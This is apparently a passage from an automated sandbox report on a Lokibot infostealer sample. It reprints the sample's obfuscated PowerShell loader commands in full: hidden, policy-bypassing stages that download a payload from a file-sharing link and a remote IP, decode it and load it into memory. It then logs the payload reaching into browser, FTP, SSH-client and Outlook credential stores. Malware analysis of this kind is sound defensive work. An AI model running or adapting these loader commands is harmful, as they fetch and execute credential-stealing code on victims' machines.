bmrlecarpsbvq1fzdgfydezsywcutgvuz3roo1vduwjhc2u2nccrj0xlbmd0aca9iccrj1vdjysnuscrj2vuzeluzgv4ic0gvunrc3rhcnrjbmrledtvq1fiyxnlnjrdb21tyw5kiccrjz0gvunraw1hz2vuzxh0lln1ynn0cmluzyhvq1fzdgfydeluzgv4lcbvq1fiyxnlnjrmzw5ndggpo1vduwjhc2u2nfjldmvyc2vkid0glwpvaw4gkfvduwjhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksbqexogrm9yrwfjac1pymply3qgeybvq1ffih0pwycrjy0xli4tkfvduwjhc2u2nenvbw1hbmqutgvuz3rokv07vunry29tbwfuzej5dgvzid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyhvq1fiyxnlnjrszxzlcnnlzck7vunrbg9hzgvkqxnzjysnzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkfvduwnvbw1hbmrcexrlcyk7vumnkydrdmfptwv0ag9kid0gw2rubglilklplkhvbscrj2vdlkdlde1ldghvzcgwverwqukwveqpo1vduxzhau1ldghvzc5jbnzva2uojysnvunrjysnbnvsbcwgqcgwver0ehqusutptdayjvnht0wvnjmvmtqxljynkyc3ms4zlji5ms8vonb0dggwveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0ascrj3zhzg8wveqsidburefkzeluuhjvy2vzczmymfrelcawverkzxnhdgl2ywrvmfrelcawverkzxnhdgl2ywrvmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwnkycwverkzxnhdgl2ywrvjysnmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwwvccrj0qxmfreldburgrlc2f0axzhzccrj28wveqpkscrjzsnks1yrxbsywnfj1vduscsw2niyvjdmzygic1yrxbsywnfjzburccsw2niyvjdmzkgic1yrxbsywnfichby0hhul04mctby0hhul0xmjerw2niyvjdmtiyksxby0hhul0xmjqpihwuicgor0vulxzhuklhqkxliccqbwrykicplm5htuvbmywxmswyxs1kb0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('ucqimageurl = 0tdhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur 0td;ucqwebclient = new-object system.net.w'+'ebclient;ucqimagebytes = ucqwebclient.downloaddata(ucqim'+'ageurl);ucqimagetext = [system.text.encoding]::utf8.getstring'+'(ucqimagebytes);ucqstartflag = 0td<<base64_start>>0td;ucq'+'endflag = 0td<<base64_end>>0td;ucqstartindex = ucqimagetext.indexof(ucqstartflag);ucqendindex = ucqimagetext.indexof(ucqendflag);ucqst'+'artindex -ge 0 -and ucqendindex -gt ucqstartindex;ucqstartindex += ucqstartflag.length;ucqbase64'+'length = '+'uc'+'q'+'endindex - ucqstartindex;ucqbase64command '+'= ucqimagetext.substring(ucqstartindex, ucqbase64length);ucqbase64reversed = -join (ucqbase64command.tochararray() pyz foreach-object { ucq_ })['+'-1..-(ucqbase64command.length)];ucqcommandbytes = [system.convert]::frombase64string(ucqbase64reversed);ucqloadedass'+'embly = [system.reflection.assembly]::load(ucqcommandbytes);uc'+'qvaimethod = [dnlib.io.hom'+'e].getmethod(0tdvai0td);ucqvaimethod.invoke('+'ucq'+'null, @(0tdtxt.ikol02%sgol/63/141.6'+'71.3.291//:ptth0td, 0tddesativado0td, 0tddesativado0td, 0tddesati'+'vado0td, 0tdaddinprocess320td, 0tddesativado0td, 0tddesativado0td,0tddesativado0td,0tddesativado0td,'+'0tddesativado'+'0td,0tddesativado0td,0tddesativado0td,0t'+'d10td,0tddesativad'+'o0td))'+';')-replace'ucq',[char]36 -replace'0td',[char]39 -replace ([char]80+[char]121+[char]122),[char]124) \|. ((get-variable 'mdr').name[3,11,2]-join'')"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfqgicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagiefezc1uwvbficagicagicagicagicagicagicagicagicagicagicattuvtqkvyzevgsu5pdglvtiagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvybg1vbi5ktewilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagumhqqvdhvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagifpit0djvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiffvlhvpbnqgicagicagicagicagicagicagicagicagicagicagigxzagjqshrzleludfb0ciagicagicagicagicagicagicagicagicagicagicagaik7jyagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicjuawvliiagicagicagicagicagicagicagicagicagicagicaglw5hbwvtcefjzsagicagicagicagicagicagicagicagicagicagicagcnb3wulprnnlecagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjfq6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xnzyumtqxlzm2l2dvb2r0agluz3n3axroz3jlyxrjb21lymfja3dpdghncmvhdhroawducy50suyilcikru5wokfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmildasmck7c1rhunqtc2xlzvaomyk7u3rhcnqgicagicagicagicagicagicagicagicagicagicagicikzu52okfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmi'+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnvunraw1hz2vvcmwgpsawverodhrwczovl2ryaxzllmdvb2dszs5jb20vdwm/zxhwb3j0pwrvd25sb2enkydkjysnjmlkptfbsvznskpkdjfgnnztnhnvt3libkgtc0r2vwhcwxd1ciawveq7vunrd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0llcnkydlyknsawvuddtvq1fpbwfnzuj5dgvzid0gvunrd2viq2xpzw50lkrvd25sb2fkrgf0yshvq1fpbscrj2fnzvvybck7vunraw1hz2vuzxh0id0gw1n5c3rlbs5uzxh0lkvuy29kaw5nxto6vvrgoc5hzxrtdhjpbmcnkycovunraw1hz2vcexrlcyk7vunrc3rhcnrgbgfnid0gmfrepdxcqvnfnjrfu1rbulq+pjburdtvq1enkydlbmrgbgfnid0gmfrepdxcqvnfnjrfru5epj4wveq7vunrc3rhcnrjbmrleca9ifvduwltywdlvgv4dc5jbmrlee9mkfvduxn0yxj0rmxhzyk7vunrzw5ksw5kzxggpsbvq1fpbwfnzvrlehqusw5kzxhpzihvq1flbmrgbgfnkttvq1fzdccrj2fydeluzgv4ic1nzsawic1hbmqgvunrzw5ksw5kzxgglwd0ifvduxn0yxj0sw5kzxg7vunrc3rhcnrjbmrlecarpsbvq1fzdgfydezsywcutgvuz3roo1vduwjhc2u2nccrj0xlbmd0aca9iccrj1vdjysnuscrj2vuzeluzgv4ic0gvunrc3rhcnrjbmrledtvq1fiyxnlnjrdb21tyw5kiccrjz0gvunraw1hz2vuzxh0lln1ynn0cmluzyhvq1fzdgfydeluzgv4lcbvq1fiyxnlnjrmzw5ndggpo1vduwjhc2u2nfjldmvyc2vkid0glwpvaw4gkfvduwjhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksbqexogrm9yrwfjac1pymply3qgeybvq1ffih0pwycrjy0xli4tkfvduwjhc2u2nenvbw1hbmqutgvuz3rokv07vunry29tbwfuzej5dgvzid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyhvq1fiyxnlnjrszxzlcnnlzck7vunrbg9hzgvkqxnzjysnzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkfvduwnvbw1hbmrcexrlcyk7vumnkydrdmfptwv0ag9kid0gw2rubglilklplkhvbscrj2vdlkdlde1ldghvzcgwverwqukwveqpo1vduxzhau1ldghvzc5jbnzva2uojysnvunrjysnbnvsbcwgqcgwver0ehqusutptdayjvnht0wvnjmvmtqxljynkyc3ms4zlji5ms8vonb0dggwveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0ascrj3zhzg8wveqsidburefkzeluuhjvy2vzczmymfrelcawverkzxnhdgl2ywrvmfrelcawverkzxnhdgl2ywrvmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwnkycwverkzxnhdgl2ywrvjysnmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwwvccrj0qxmfreldburgrlc2f0axzhzccrj28wveqpkscrjzsnks1yrxbsywnfj1vduscsw2niyvjdmzygic1yrxbsywnfjzburccsw2niyvjdmzkgic1yrxbsywnfichby0hhul04mctby0hhul0xmjerw2niyvjdmtiyksxby0hhul0xmjqpihwuicgor0vulxzhuklhqkxliccqbwrykicplm5htuvbmywxmswyxs1kb0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('ucqimageurl = 0tdhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur 0td;ucqwebclient = new-object system.net.w'+'ebclient;ucqimagebytes = ucqwebclient.downloaddata(ucqim'+'ageurl);ucqimagetext = [system.text.encoding]::utf8.getstring'+'(ucqimagebytes);ucqstartflag = 0td<<base64_start>>0td;ucq'+'endflag = 0td<<base64_end>>0td;ucqstartindex = ucqimagetext.indexof(ucqstartflag);ucqendindex = ucqimagetext.indexof(ucqendflag);ucqst'+'artindex -ge 0 -and ucqendindex -gt ucqstartindex;ucqstartindex += ucqstartflag.length;ucqbase64'+'length = '+'uc'+'q'+'endindex - ucqstartindex;ucqbase64command '+'= ucqimagetext.substring(ucqstartindex, ucqbase64length);ucqbase64reversed = -join (ucqbase64command.tochararray() pyz foreach-object { ucq_ })['+'-1..-(ucqbase64command.length)];ucqcommandbytes = [system.convert]::frombase64string(ucqbase64reversed);ucqloadedass'+'embly = [system.reflection.assembly]::load(ucqcommandbytes);uc'+'qvaimethod = [dnlib.io.hom'+'e].getmethod(0tdvai0td);ucqvaimethod.invoke('+'ucq'+'null, @(0tdtxt.ikol02%sgol/63/141.6'+'71.3.291//:ptth0td, 0tddesativado0td, 0tddesativado0td, 0tddesati'+'vado0td, 0tdaddinprocess320td, 0tddesativado0td, 0tddesativado0td,0tddesativado0td,0tddesativado0td,'+'0tddesativado'+'0td,0tddesativado0td,0tddesativado0td,0t'+'d10td,0tddesativad'+'o0td))'+';')-replace'ucq',[char]36 -replace'0td',[char]39 -replace ([char]80+[char]121+[char]122),[char]124) \|. ((get-variable 'mdr').name[3,11,2]-join'')"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match

File source: dump.pcap, type: PCAP

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
